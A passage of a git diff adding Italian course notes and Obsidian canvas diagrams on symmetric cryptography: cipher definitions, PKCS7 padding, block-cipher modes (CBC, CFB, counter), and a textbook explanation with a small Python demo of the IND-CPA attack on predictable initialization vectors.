+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/crittografia classica.md","id":"e04b7bb8067114db","x":-200,"y":-280,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario a trasposizione.md","id":"4606a8d6f9f09bdd","x":40,"y":280,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario a sostituzione.md","id":"f829e0812fed8dd1","x":-440,"y":280,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/confidenzialità.md","id":"a12bf5b762b91e3a","x":340,"y":-280,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext-only attacker.md","id":"27ad5bf8551f9a76","x":-760,"y":-280,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario di Cesare.md","id":"21f527d40ebf17ab","x":-440,"y":760,"width":400,"height":1160}
+	],
+	"edges":[
+		{"id":"2bcae0ce45ed5e7c","fromNode":"e04b7bb8067114db","fromSide":"bottom","toNode":"f829e0812fed8dd1","toSide":"top","toEnd":"none"},
+		{"id":"373d1bdf640c9609","fromNode":"e04b7bb8067114db","fromSide":"bottom","toNode":"4606a8d6f9f09bdd","toSide":"top","toEnd":"none"},
+		{"id":"6269758928c92d9d","fromNode":"a12bf5b762b91e3a","fromSide":"left","toNode":"e04b7bb8067114db","toSide":"right","toEnd":"none"},
+		{"id":"3124b4492101fa4c","fromNode":"27ad5bf8551f9a76","fromSide":"right","toNode":"e04b7bb8067114db","toSide":"left","toEnd":"none"},
+		{"id":"f8c3fcaab87c747b","fromNode":"f829e0812fed8dd1","fromSide":"bottom","toNode":"21f527d40ebf17ab","toSide":"top","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/3DES.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/3DES.md
new file mode 100644
index 0000000..b57cdcc
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/3DES.md	
@@ -0,0 +1 @@
+[[keyed family of pseudo-random permutations]] deprecata, che utilizza [[DES]] tre volte consecutive.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/A51.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/A51.md
new file mode 100644
index 0000000..dd3d814
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/A51.md	
@@ -0,0 +1,3 @@
+# A5/1
+
+[[deterministic pseudo-random bitstring generator]] deprecato, ma ancora in uso nella telefonia mobile.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/AES.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/AES.md
new file mode 100644
index 0000000..fe2e854
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/AES.md	
@@ -0,0 +1,17 @@
+---
+aliases: ["Rijndael"]
+---
+
+[[keyed family of pseudo-random permutations]] moderna.
+
+Utilizza blocchi fissi di 128 bit, mentre può avere una chiave di dimensioni diverse:
+
+- [[AES-128]] ha una chiave di 128 bit
+- [[AES-192]] ha una chiave di 192 bit
+- [[AES-256]] ha una chiave di 256 bit
+
+È comunemente supportato a livello hardware.
+
+## #Extra Vedi anche
+
+- [[Damien, Rijmen - The Design of Rijndael (2001).pdf]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/ChaCha20.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/ChaCha20.md
new file mode 100644
index 0000000..12816c3
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/ChaCha20.md	
@@ -0,0 +1 @@
+[[deterministic pseudo-random bitstring generator]] moderno.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/DES.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/DES.md
new file mode 100644
index 0000000..7fb8812
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/DES.md	
@@ -0,0 +1 @@
+[[keyed family of pseudo-random permutations]] deprecata.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/EFAIL.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/EFAIL.md
new file mode 100644
index 0000000..5390104
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/EFAIL.md	
@@ -0,0 +1,5 @@
+#Extra [[padding oracle attack]] ai protocolli [[S/MIMe]] e [[OpenPGP]] utilizzati nelle email.
+
+## Vedi anche
+
+- [Sito web della vulnerabilità](https://efail.de)
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/PKCS7.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/PKCS7.md
new file mode 100644
index 0000000..6672b59
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/PKCS7.md	
@@ -0,0 +1,23 @@
+[[funzione]] di [[padding]] che riempie gli spazi vuoti con il byte equivalente al numero di byte mancante.
+
+## Caso peggiore
+
+Se il plaintext è già perfettamente allineato, viene aggiunto un blocco extra, riempito con il numero di byte della dimensione del blocco.
+
+## Esempi
+
+- Padding a 4 byte del testo `hi`:
+	```
+	   h    i \x02 \x02
+	```
+- Padding a 4 byte del testo `ciao`: 
+	```
+	   c    i    a    o
+	\x04 \x04 \x04 \x04
+	```
+- Padding a 4 byte del testo `ciaocomeva`:
+	```
+	   c    i    a    o
+	   c    o    m    e
+	   v    a \x02 \x02
+	```
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XChaCha20.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XChaCha20.md
new file mode 100644
index 0000000..fb8b311
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XChaCha20.md	
@@ -0,0 +1 @@
+[[ChaCha20]], ma con un [[nonce]] e un contatore più grande.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md
new file mode 100644
index 0000000..2eacc62
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md	
@@ -0,0 +1,10 @@
+Operatore logico bitwise con la seguente tavola di verità:
+
+| Input 1 | Input 2 | Output |
+|--------:|--------:|-------:|
+|       0 |       0 |      0 |
+|       0 |       1 |      1 |
+|       1 |       0 |      1 |
+|       1 |       1 |      0 |
+
+Inverte i bit del primo operando specificati nel secondo operando, o viceversa.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/attacco contro initialization vector prevedibili.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/attacco contro initialization vector prevedibili.md
new file mode 100644
index 0000000..ffd47e2
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/attacco contro initialization vector prevedibili.md	
@@ -0,0 +1,53 @@
+[[attacco]] contro [[cifrario a blocchi|cifrari a blocchi]] che sfrutta il [[determinismo dell'initialization vector]] per vincere l'[[esperimento IND-DCPA]].
+
+## Requsiti
+
+- Conoscenza della [[funzione di cifratura]] utilizzata e possibilità di selezionare il [[plaintext]] da cifrare
+	- [[chosen-plaintext attacker]]
+- [[initialization vector]] non [[casualità crittografica|casuale]]
+	- [[cipher block chaining operation mode]]
+
+## Funzionamento
+
+### Fase iniziale
+
+1. 😈 L'[[avversario]] sceglie un [[plaintext]] $m_1$ di dimensione di un [[blocco]].
+2. ✉️ Lo comunica allo [[sfidante]]. 
+3. 😇 Lo [[sfidante]] sceglie un [[initialization vector]] $iv_1$.
+4. 😇 Mescola il [[plaintext]] con l'[[initialization vector]], creando $m_1' = m \oplus iv_1$.
+5. 😇 Calcola il [[ciphertext]] $c_1 = encrypt(m_1')$
+6. ✉️ Comunica [[ciphertext]] $c_1$ e [[initialization vector]] $iv_1$ all'[[avversario]].
+
+### [[esperimento IND-CPA]]
+
+7. 😈 L'[[avversario]] usa l'[[initialization vector]] $iv_1$ ricevuto per determinare quello successivo, $iv_2$.
+8. 😈 Calcola un [[plaintext]] speciale, $m_2 = m_1' \oplus iv_2$.
+9. ✉️ Lo comunica allo [[sfidante]].
+10. 😇 Lo [[sfidante]] sceglie un [[initialization vector]] uguale a quello predetto dall'[[avversario]], $iv_2$.
+11. 😇 Mescola il [[plaintext]] con l'[[initialization vector]], $m_2' = m_2 \oplus iv_2 = m_1' \oplus iv_2 \oplus iv_2 = m_1'$.
+12. 😇 Calcola il [[ciphertext]] $c_2 = encrypt(m_2') = encrypt(m_1') = c_1$.
+13. 😇 Come parte dell'[[esperimento IND-CPA]] sceglie se inviare dati casuali oppure il [[ciphertext]] $c_2$.
+14. ✉️ Lo comunica all'[[avversario]].
+15. 😈 L'[[avversario]] è sempre in grado di distinguere [[ciphertext]] da dati casuali in quanto sa che il [[ciphertext]] sarà uguale a quello precedente, $c_1 = c_2$.
+
+## Codice di esempio
+
+```python
+### Modificato dall'originale del prof. Ferretti.
+
+>>> from os import urandom
+
+>>> key = urandom(16)
+>>> iv1 = urandom(16)
+>>> iv2 = urandom(16)
+
+>>> m1 = b'a' * 16
+>>> c1 = encrypt(key, iv1, m1)
+>>> c2 = encrypt(key, iv2, bxor(m1, iv1, iv2))
+
+>>> print(f'{c1.hex()=}')
+c1.hex()='fc5016bf41ec909e1dae7a6dd7102f0d'
+
+>>> print(f'{c2.hex()=}')
+c2.hex()='fc5016bf41ec909e1dae7a6dd7102f0d'
+```
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/blocco.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/blocco.md
new file mode 100644
index 0000000..5917479
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/blocco.md	
@@ -0,0 +1,5 @@
+Suddivisione di un dato dalla lunghezza arbitraria in un dato dalla lunghezza fissa.
+
+È l'unità di iterazione dei [[cifrario a blocchi|cifrari a blocchi]].
+
+Qualora la lunghezza del dato da suddividere non fosse esattamente un multiplo della dimensione del blocco, il dato va esteso attraverso un algoritmo di [[padding]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/bruteforce.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/bruteforce.md
new file mode 100644
index 0000000..77bffed
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/bruteforce.md	
@@ -0,0 +1,19 @@
+[[Attacco]] effettuabile contro qualsiasi [[protocollo]].
+
+## Requisiti
+
+- Conoscenza della [[funzione di cifratura]] utilizzata
+	- [[ciphertext-only attacker]]
+
+## Funzionamento
+
+Consiste nel provare tutti i possibili [[parametro|parametri]] della [[funzione di cifratura]] fino a quando essa non emette il [[ciphertext]] conosciuto.
+
+### Livello di sicurezza
+
+Il [[livello di sicurezza]] da questo attacco è determinato dal numero di possibili [[disposizione|disposizioni]] di parametri.
+$$\Large O \left( x^{\color{Orange} Nk} \right)$$
+
+## Effetti
+
+Un attacco bruteforce riuscito permette all'avversario di effettuare [[key recovery]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md
new file mode 100644
index 0000000..bec9996
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md	
@@ -0,0 +1,3 @@
+[[parametro|Parametro]] delle [[funzione di cifratura|funzioni di cifratura]] e delle [[funzione di decifratura|funzioni di decifratura]] di [[crittografia simmetrica moderna]].
+
+[[Blob]] [[casualità crittografica|imprevedibile]] [[uniforme]] condiviso dai [[squadra blu|difensori]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a blocchi.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a blocchi.md
new file mode 100644
index 0000000..19ab10c
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a blocchi.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["block cipher"]
+---
+
+[[funzione]] che approssima una [[famiglia di funzioni pseudo-casuali]].
+
+Come l'[[one-time pad]], sfrutta l'invertibilità dello [[XOR]], ma invece che utilizzare direttamente la [[chiave simmetrica]] come operando, la utilizza per determinare la [[random permutation]] da usare su ciascun [[blocco]] del [[plaintext]].
+
+La [[random permutation]] può essere utilizzata in modi diversi, detti [[operation mode di un cifrario a blocchi]], ciascuno che crea un ciphertext in modo diverso.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a flusso.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a flusso.md
new file mode 100644
index 0000000..c2de5ce
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a flusso.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["stream cipher"]
+---
+
+[[funzione]] che approssima una [[famiglia di funzioni pseudo-casuali]].
+
+Come l'[[one-time pad]], sfrutta l'invertibilità dello [[XOR]], ma invece che utilizzare direttamente la [[chiave simmetrica]] come operando, la usa assieme a un [[nonce]] per generare un [[keystream]] da utilizzare al suo posto.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher block chaining operation mode.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher block chaining operation mode.canvas
new file mode 100644
index 0000000..445c7d1
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher block chaining operation mode.canvas	
@@ -0,0 +1,40 @@
+{
+	"nodes":[
+		{"type":"group","id":"aff1540344aec5dc","x":-600,"y":-40,"width":906,"height":560,"label":"Blocco #1"},
+		{"type":"group","id":"3bf5ac984ec7121d","x":400,"y":600,"width":906,"height":560,"label":"Blocco #2"},
+		{"type":"group","id":"05de79cfc3fc3ab7","x":1400,"y":1240,"width":906,"height":560,"label":"Blocco #3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"f6a5be7e48515ae7","x":-114,"y":-20,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"45cd6bfae1448dc1","x":-114,"y":100,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/initialization vector.md","id":"4614426e5ea8b47c","x":-580,"y":100,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"9877bbe3ff78bae6","x":-580,"y":265,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"ceb56ed3d87a448c","x":-114,"y":220,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"e5cbf46b321559ad","x":-114,"y":440,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"adbd02247a507bde","x":886,"y":740,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"fc3b47820b152df4","x":886,"y":860,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"86e140076b0ce018","x":886,"y":1080,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"08b801e8a5c35432","x":420,"y":905,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"d1f7d469f3d0fe49","x":886,"y":620,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"d87a3a68bda96ae7","x":1886,"y":1380,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"36713dd7821cda9e","x":1886,"y":1500,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"ace1889e1ff489fd","x":1420,"y":1545,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"4eb6e5a9f3d37b15","x":1886,"y":1720,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"93f19401fe83cd08","x":1886,"y":1260,"width":400,"height":50,"color":"3"}
+	],
+	"edges":[
+		{"id":"3a68ae4c18b31f4e","fromNode":"ceb56ed3d87a448c","fromSide":"bottom","toNode":"e5cbf46b321559ad","toSide":"top","color":"4"},
+		{"id":"67710f4f0376f650","fromNode":"9877bbe3ff78bae6","fromSide":"right","toNode":"ceb56ed3d87a448c","toSide":"left","color":"6"},
+		{"id":"4715627db4b7bb94","fromNode":"f6a5be7e48515ae7","fromSide":"bottom","toNode":"45cd6bfae1448dc1","toSide":"top","color":"3"},
+		{"id":"5e44260d742d9032","fromNode":"4614426e5ea8b47c","fromSide":"right","toNode":"45cd6bfae1448dc1","toSide":"left","color":"2"},
+		{"id":"cd43092938be8a38","fromNode":"45cd6bfae1448dc1","fromSide":"bottom","toNode":"ceb56ed3d87a448c","toSide":"top","color":"2"},
+		{"id":"a57ad92418552333","fromNode":"d1f7d469f3d0fe49","fromSide":"bottom","toNode":"adbd02247a507bde","toSide":"top","color":"3"},
+		{"id":"ac23798265ece9af","fromNode":"adbd02247a507bde","fromSide":"bottom","toNode":"fc3b47820b152df4","toSide":"top","color":"2"},
+		{"id":"a873b11b6432e42f","fromNode":"08b801e8a5c35432","fromSide":"right","toNode":"fc3b47820b152df4","toSide":"left","color":"6"},
+		{"id":"7c672e7a1c2c2b2e","fromNode":"fc3b47820b152df4","fromSide":"bottom","toNode":"86e140076b0ce018","toSide":"top","color":"4"},
+		{"id":"848c1a0633fd208f","fromNode":"93f19401fe83cd08","fromSide":"bottom","toNode":"d87a3a68bda96ae7","toSide":"top","color":"3"},
+		{"id":"7d7d7f0efdecdffe","fromNode":"d87a3a68bda96ae7","fromSide":"bottom","toNode":"36713dd7821cda9e","toSide":"top","color":"2"},
+		{"id":"131d4b46135e5e35","fromNode":"36713dd7821cda9e","fromSide":"bottom","toNode":"4eb6e5a9f3d37b15","toSide":"top","color":"4"},
+		{"id":"240a85a2003a7070","fromNode":"ace1889e1ff489fd","fromSide":"right","toNode":"36713dd7821cda9e","toSide":"left","color":"6"},
+		{"id":"17efcb88209a5151","fromNode":"86e140076b0ce018","fromSide":"bottom","toNode":"d87a3a68bda96ae7","toSide":"left","color":"4"},
+		{"id":"a5f0f1df271f0cf7","fromNode":"e5cbf46b321559ad","fromSide":"bottom","toNode":"adbd02247a507bde","toSide":"left","color":"4"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher block chaining operation mode.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher block chaining operation mode.md
new file mode 100644
index 0000000..d60ab43
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher block chaining operation mode.md	
@@ -0,0 +1,19 @@
+---
+aliases: ["CBC"]
+---
+
+# #Extra
+
+[[operation mode di un cifrario a blocchi]].
+
+## Funzionamento
+
+1. usa la chiave simmetrica per determinare la keyed family of pseudo-random permutations da utilizzare
+2. effettua lo XOR del plaintext con un [[initialization vector]]
+3. fornisce il valore precedente alla keyed family of pseudo-random permutations selezionata
+4. lo emette come risultato del blocco
+5. utilizza il risultato come initialization vector del blocco successivo
+
+## Diagramma
+
+![[cipher block chaining operation mode.canvas]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher feedback operation mode.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher feedback operation mode.canvas
new file mode 100644
index 0000000..b0974a3
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher feedback operation mode.canvas	
@@ -0,0 +1,40 @@
+{
+	"nodes":[
+		{"type":"group","id":"54b24190cc0c2d95","x":-600,"y":-40,"width":906,"height":590,"label":"Blocco #1"},
+		{"type":"group","id":"d9395512c0f95377","x":400,"y":640,"width":906,"height":590,"label":"Blocco #2"},
+		{"type":"group","id":"a061b0bbbcd98698","x":1400,"y":1280,"width":906,"height":590,"label":"Blocco #2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"9877bbe3ff78bae6","x":-580,"y":155,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"ceb56ed3d87a448c","x":-114,"y":110,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"15cffa4cd12ef9f9","x":-580,"y":340,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"10adf270090501ea","x":-114,"y":340,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"2dc4b34b669686ca","x":-114,"y":480,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"2ba3ba12e070a9d8","x":420,"y":835,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"864b568cb1c85850","x":420,"y":1020,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"4613f7cb09a53296","x":886,"y":790,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"075ca999420de6a5","x":886,"y":1020,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"cbc10ddd0e98d765","x":886,"y":1160,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"3270e9e07f996fe6","x":1420,"y":1475,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"706e82a40656a141","x":1886,"y":1430,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"72bfa82873f7f460","x":1420,"y":1660,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"2752bac628551374","x":1886,"y":1660,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"c8256012ce2c6e2a","x":1886,"y":1800,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/initialization vector.md","id":"62a89937cd4a8729","x":-114,"y":-20,"width":400,"height":50,"color":"2"}
+	],
+	"edges":[
+		{"id":"67710f4f0376f650","fromNode":"9877bbe3ff78bae6","fromSide":"right","toNode":"ceb56ed3d87a448c","toSide":"left","color":"6"},
+		{"id":"c63c5c5ed9654515","fromNode":"ceb56ed3d87a448c","fromSide":"bottom","toNode":"10adf270090501ea","toSide":"top","color":"2"},
+		{"id":"944fc343ff953833","fromNode":"15cffa4cd12ef9f9","fromSide":"right","toNode":"10adf270090501ea","toSide":"left","color":"3"},
+		{"id":"c945a09c598c8bed","fromNode":"10adf270090501ea","fromSide":"bottom","toNode":"2dc4b34b669686ca","toSide":"top","color":"4"},
+		{"id":"4bee60901871bf98","fromNode":"2ba3ba12e070a9d8","fromSide":"right","toNode":"4613f7cb09a53296","toSide":"left","color":"6"},
+		{"id":"9e92c8132565ed83","fromNode":"4613f7cb09a53296","fromSide":"bottom","toNode":"075ca999420de6a5","toSide":"top","color":"2"},
+		{"id":"f20fc490f4bf0618","fromNode":"864b568cb1c85850","fromSide":"right","toNode":"075ca999420de6a5","toSide":"left","color":"3"},
+		{"id":"2fbf2bb3579cff05","fromNode":"075ca999420de6a5","fromSide":"bottom","toNode":"cbc10ddd0e98d765","toSide":"top","color":"4"},
+		{"id":"0c7be99267ed24b1","fromNode":"3270e9e07f996fe6","fromSide":"right","toNode":"706e82a40656a141","toSide":"left","color":"6"},
+		{"id":"0a31845efe38fb32","fromNode":"706e82a40656a141","fromSide":"bottom","toNode":"2752bac628551374","toSide":"top","color":"2"},
+		{"id":"be4c929056d906bb","fromNode":"72bfa82873f7f460","fromSide":"right","toNode":"2752bac628551374","toSide":"left","color":"3"},
+		{"id":"d00e34b6f15446dd","fromNode":"2752bac628551374","fromSide":"bottom","toNode":"c8256012ce2c6e2a","toSide":"top","color":"4"},
+		{"id":"7c06a1a7f10ad5ae","fromNode":"2dc4b34b669686ca","fromSide":"bottom","toNode":"4613f7cb09a53296","toSide":"top","color":"4"},
+		{"id":"85ac49a1a4f82e13","fromNode":"cbc10ddd0e98d765","fromSide":"bottom","toNode":"706e82a40656a141","toSide":"top","color":"4"},
+		{"id":"bb9fd155169ed5ba","fromNode":"62a89937cd4a8729","fromSide":"bottom","toNode":"ceb56ed3d87a448c","toSide":"top","color":"2"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher feedback operation mode.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher feedback operation mode.md
new file mode 100644
index 0000000..435630e
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher feedback operation mode.md	
@@ -0,0 +1,12 @@
+---
+aliases: ["CFB"]
+---
+
+# #Extra
+
+[[operation mode di un cifrario a blocchi]] deprecato.
+
+
+## Diagramma
+
+![[cipher feedback operation mode.canvas]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/counter operation mode.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/counter operation mode.canvas
new file mode 100644
index 0000000..8a230af
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/counter operation mode.canvas	
@@ -0,0 +1,56 @@
+{
+	"nodes":[
+		{"type":"group","id":"2070c139b1eecfdc","x":-600,"y":-170,"width":1180,"height":720,"label":"Blocco #1"},
+		{"type":"group","id":"dcba615d153549f1","x":680,"y":640,"width":1180,"height":720,"label":"Blocco #2"},
+		{"type":"group","id":"b2de5971e55df8a2","x":1920,"y":1440,"width":1180,"height":720,"label":"Blocco #3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"9877bbe3ff78bae6","x":-580,"y":155,"width":400,"height":50,"color":"6"},
